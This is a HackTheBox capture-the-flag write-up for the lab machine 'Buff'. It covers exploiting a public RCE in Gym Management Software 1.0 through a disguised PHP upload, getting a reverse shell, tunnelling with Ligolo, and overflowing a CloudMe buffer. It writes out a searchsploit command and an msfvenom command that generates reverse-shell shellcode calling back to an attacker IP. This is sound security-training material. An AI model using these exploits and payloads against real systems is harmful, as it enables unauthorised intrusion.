
HTB: Buff
A gym website built on Gym Management Software 1.0 gives up an unauthenticated RCE for the foothold, then a CloudMe buffer overflow, reached through a Ligolo tunnel with hand-swapped msfvenom shellcode, takes us to administrator.
Buff is a Windows box from HackTheBox. The foothold is a public RCE in the gym website's software, and the privesc is a buffer overflow in CloudMe, a service that only listens locally. Let's get into it.
Recon
Looking at our nmap scan we see that there is a website on port 8080, Apache with PHP running on Windows.

There's something else on 7680 but we will leave that aside for now. Let's go ahead and visit the website.

It's a gym's homepage, so let's leave a dir buster running while we enumerate the site by hand.
Foothold: Gym Management Software 1.0
On the Contact page we find the name and version of the software the site was built with: Gym Management Software 1.0.

Looking this up we find an unauthenticated RCE for this exact version: Exploit-DB 48506.
Let's download it and see if we can get access to the system. The exploit abuses an unauthenticated upload page. It sends a PHP file disguised with PNG magic bytes to get past the image check, then talks to it as a web shell. That's why every response starts with a PNG header. We are in, running commands out of the upload folder in C:\xampp\htdocs\gym\upload.

The web shell works but it's clunky, so let's get ourselves a better shell. We send over nc.exe, set up a listener on 4444, and call back to it with a PowerShell reverse shell.

We got in as buff\shaun! Now we can enumerate the machine properly.
Heading over to shaun's desktop we find the user.txt flag.

Privesc: CloudMe buffer overflow
Checking what's running on the computer, we find an instance of CloudMe running on port 8888. Looking it up, we find that this app has known vulnerabilities.

There is a Metasploit exploit for it. CloudMe only listens on localhost, though, so first let's set up a Ligolo proxy so we can reach it from our Kali box.
After some trial and error the msfconsole exploit did not work, so I had to go with a standalone exploit and modify it a bit. We went with this one:
searchsploit -m 48389
The script comes with placeholder shellcode, so we generated our own reverse shell with msfvenom and swapped it in. -b drops the bad characters that would break the overflow: null bytes, line feeds and carriage returns. -f python -v shellcode outputs it as a Python variable we can paste straight into the script.
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.211 LPORT=443 EXITFUNC=thread -b '\x00\x0a\x0d' -f python -v shellcode
And bam, it worked! We get administrator on the box.

Heading over to the admin desktop we find our root.txt flag!

Closing thoughts
This box wasn't too hard for the initial foothold, but once we reached the privesc it got harder to figure out. It was good for learning about shellcode and how bytes work in buffer overflows, especially bad characters and why a stock exploit sometimes needs tweaking before it lands. Loved it, and I would recommend it to anyone learning buffer overflow exploitation.
